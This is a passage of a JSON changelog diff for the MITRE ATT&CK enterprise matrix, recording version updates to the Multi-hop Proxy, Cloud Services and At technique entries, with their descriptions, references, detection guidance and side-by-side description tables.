Trojan and KdcSponge Stealer. Retrieved February 8, 2024.", + "url": "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/" + }, + { + "source_name": "Onion Routing", + "description": "Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.", + "url": "https://en.wikipedia.org/wiki/Onion_routing" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Eduardo Chavarro Ovalle" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.\n\nIn context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 20:48:24.411000+00:00\", \"old_value\": \"2024-04-19 13:24:36.872000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\\n\\nFor example, adversaries may construct or use onion routing networks \\u2013 such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network \\u2013 to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. (Citation: ORB Mandiant) \\n\\nIn the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\\u2019s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. \\n\\nSimilarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)\", \"old_value\": \"Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\\n\\nFor example, adversaries may construct or use onion routing networks \\u2013 such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network \\u2013 to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing)\\n\\nIn the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\\u2019s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport.\\n\\nSimilarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,7 @@\\n Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\\n \\n-For example, adversaries may construct or use onion routing networks \\u2013 such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network \\u2013 to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing)\\n+For example, adversaries may construct or use onion routing networks \\u2013 such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network \\u2013 to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. (Citation: ORB Mandiant) \\n \\n-In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\\u2019s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport.\\n+In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\\u2019s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. \\n \\n Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.2\", \"old_value\": \"2.1\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"ORB Mandiant\", \"description\": \"Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.\", \"url\": \"https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks\"}}}", + "previous_version": "2.1", + "version_change": "2.1 \u2192 2.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may chain together multiple proxies to disguise t1Adversaries may chain together multiple proxies to disguise 
>the source of malicious traffic. Typically, a defender will >the source of malicious traffic. Typically, a defender will 
>be able to identify the last proxy traffic traversed before >be able to identify the last proxy traffic traversed before 
>it enters their network; the defender may or may not be able>it enters their network; the defender may or may not be able
> to identify any previous proxies before the last-hop proxy.> to identify any previous proxies before the last-hop proxy.
> This technique makes identifying the original source of the> This technique makes identifying the original source of the
> malicious traffic even more difficult by requiring the defe> malicious traffic even more difficult by requiring the defe
>nder to trace malicious traffic through several proxies to i>nder to trace malicious traffic through several proxies to i
>dentify its source.  For example, adversaries may construct >dentify its source.  For example, adversaries may construct 
>or use onion routing networks \u2013 such as the publicly availab>or use onion routing networks \u2013 such as the publicly availab
>le [Tor](https://attack.mitre.org/software/S0183) network \u2013 >le [Tor](https://attack.mitre.org/software/S0183) network \u2013 
>to transport encrypted C2 traffic through a compromised popu>to transport encrypted C2 traffic through a compromised popu
>lation, allowing communication with any device within the ne>lation, allowing communication with any device within the ne
>twork.(Citation: Onion Routing)  In the case of network infr>twork.(Citation: Onion Routing) Adversaries may also use ope
>astructure, it is possible for an adversary to leverage mult>rational relay box (ORB) networks composed of virtual privat
>iple compromised devices to create a multi-hop proxy chain (>e servers (VPS), Internet of Things (IoT) devices, smart dev
>i.e., [Network Devices](https://attack.mitre.org/techniques/>ices, and end-of-life routers to obfuscate their operations.
>T1584/008)). By leveraging [Patch System Image](https://atta> (Citation: ORB Mandiant)   In the case of network infrastru
>ck.mitre.org/techniques/T1601/001) on routers, adversaries c>cture, it is possible for an adversary to leverage multiple 
>an add custom code to the affected network devices that will>compromised devices to create a multi-hop proxy chain (i.e.,
> implement onion routing between those nodes. This method is> [Network Devices](https://attack.mitre.org/techniques/T1584
> dependent upon the [Network Boundary Bridging](https://atta>/008)). By leveraging [Patch System Image](https://attack.mi
>ck.mitre.org/techniques/T1599) method allowing the adversari>tre.org/techniques/T1601/001) on routers, adversaries can ad
>es to cross the protected network boundary of the Internet p>d custom code to the affected network devices that will impl
>erimeter and into the organization\u2019s Wide-Area Network (WAN)>ement onion routing between those nodes. This method is depe
>.  Protocols such as ICMP may be used as a transport.  Simil>ndent upon the [Network Boundary Bridging](https://attack.mi
>arly, adversaries may abuse peer-to-peer (P2P) and blockchai>tre.org/techniques/T1599) method allowing the adversaries to
>n-oriented infrastructure to implement routing between a dec> cross the protected network boundary of the Internet perime
>entralized network of peers.(Citation: NGLite Trojan)>ter and into the organization\u2019s Wide-Area Network (WAN).  Pr
 >otocols such as ICMP may be used as a transport.    Similarl
 >y, adversaries may abuse peer-to-peer (P2P) and blockchain-o
 >riented infrastructure to implement routing between a decent
 >ralized network of peers.(Citation: NGLite Trojan)
", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-02-21 19:38:13.371000+00:00", + "modified": "2024-10-15 15:52:47.255000+00:00", + "name": "Cloud Services", + "description": "Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \n\nMany enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.\n\nIn some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1021/007", + "external_id": "T1021.007" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:52:47.255000+00:00\", \"old_value\": \"2023-04-14 22:27:04.095000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][2]\": \"Office Suite\", \"root['x_mitre_platforms'][3]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Office 365\", \"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][4]\": \"Google Workspace\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-27 13:52:45.853000+00:00", + "modified": "2024-10-12 15:53:12.333000+00:00", + "name": "At", + "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with [at](https://attack.mitre.org/software/S0110) by directly leveraging the [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class.(Citation: Malicious Life by Cybereason)\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1053/002", + "external_id": "T1053.002" + }, + { + "source_name": "rowland linux at 2019", + "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.", + "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/" + }, + { + "source_name": "GTFObins at", + "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.", + "url": "https://gtfobins.github.io/gtfobins/at/" + }, + { + "source_name": "Linux at", + "description": "IEEE/The Open Group. (2017). at(1p) \u2014 Linux manual page. Retrieved February 25, 2022.", + "url": "https://man7.org/linux/man-pages/man1/at.1p.html" + }, + { + "source_name": "Twitter Leoloobeek Scheduled Task", + "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.", + "url": "https://x.com/leoloobeek/status/939248813465853953" + }, + { + "source_name": "Microsoft Scheduled Task Events Win10", + "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events" + }, + { + "source_name": "TechNet Scheduled Task Events", + "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.", + "url": "https://technet.microsoft.com/library/dd315590.aspx" + }, + { + "source_name": "Malicious Life by Cybereason", + "description": "Philip Tsukerman. (n.d.). No Win32 Process Needed | Expanding the WMI Lateral Movement Arsenal. Retrieved June 19, 2024.", + "url": "https://www.cybereason.com/blog/wmi-lateral-movement-win32#blog-subscribe" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "TechNet Forum Scheduled Task Operational Setting", + "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.", + "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Scheduled Job: Scheduled Job Creation", + "Network Traffic: Network Traffic Flow", + "Process: Process Creation", + "File: File Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "2.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-12 15:53:12.333000+00:00\", \"old_value\": \"2023-11-15 14:38:10.876000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with [at](https://attack.mitre.org/software/S0110) by directly leveraging the [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class.(Citation: Malicious Life by Cybereason)\\n\\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\\n\\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\\n\\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)\", \"old_value\": \"Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\\n\\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\\n\\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\\n\\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\\n+Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with [at](https://attack.mitre.org/software/S0110) by directly leveraging the [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class.(Citation: Malicious Life by Cybereason)\\n \\n On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\\n \"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.\", \"old_value\": \"Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://x.com/leoloobeek/status/939248813465853953\", \"old_value\": \"https://twitter.com/leoloobeek/status/939248813465853953\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}, \"iterable_item_added\": {\"root['external_references'][7]\": {\"source_name\": \"Malicious Life by Cybereason\", \"description\": \"Philip Tsukerman. (n.d.). No Win32 Process Needed | Expanding the WMI Lateral Movement Arsenal. Retrieved June 19, 2024.\", \"url\": \"https://www.cybereason.com/blog/wmi-lateral-movement-win32#blog-subscribe\"}}}", + "previous_version": "2.2", + "version_change": "2.2 \u2192 2.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse the [at](https://attack.mitre.org/softt1Adversaries may abuse the [at](https://attack.mitre.org/soft
>ware/S0110) utility to perform task scheduling for initial o>ware/S0110) utility to perform task scheduling for initial o
>r recurring execution of malicious code. The [at](https://at>r recurring execution of malicious code. The [at](https://at
>tack.mitre.org/software/S0110) utility exists as an executab>tack.mitre.org/software/S0110) utility exists as an executab
>le within Windows, Linux, and macOS for scheduling tasks at >le within Windows, Linux, and macOS for scheduling tasks at 
>a specified time and date. Although deprecated in favor of [>a specified time and date. Although deprecated in favor of [
>Scheduled Task](https://attack.mitre.org/techniques/T1053/00>Scheduled Task](https://attack.mitre.org/techniques/T1053/00
>5)'s [schtasks](https://attack.mitre.org/software/S0111) in >5)'s [schtasks](https://attack.mitre.org/software/S0111) in 
>Windows environments, using [at](https://attack.mitre.org/so>Windows environments, using [at](https://attack.mitre.org/so
>ftware/S0110) requires that the Task Scheduler service be ru>ftware/S0110) requires that the Task Scheduler service be ru
>nning, and the user to be logged on as a member of the local>nning, and the user to be logged on as a member of the local
> Administrators group.  On Linux and macOS, [at](https://att> Administrators group. In addition to explicitly running the
>ack.mitre.org/software/S0110) may be invoked by the superuse> `at` command, adversaries may also schedule a task with [at
>r as well as any users added to the <code>at.allow</code> fi>](https://attack.mitre.org/software/S0110) by directly lever
>le. If the <code>at.allow</code> file does not exist, the <c>aging the [Windows Management Instrumentation](https://attac
>ode>at.deny</code> file is checked. Every username not liste>k.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class
>d in <code>at.deny</code> is allowed to invoke [at](https://>.(Citation: Malicious Life by Cybereason)  On Linux and macO
>attack.mitre.org/software/S0110). If the <code>at.deny</code>S, [at](https://attack.mitre.org/software/S0110) may be invo
>> exists and is empty, global use of [at](https://attack.mit>ked by the superuser as well as any users added to the <code
>re.org/software/S0110) is permitted. If neither file exists >>at.allow</code> file. If the <code>at.allow</code> file doe
>(which is often the baseline) only the superuser is allowed >s not exist, the <code>at.deny</code> file is checked. Every
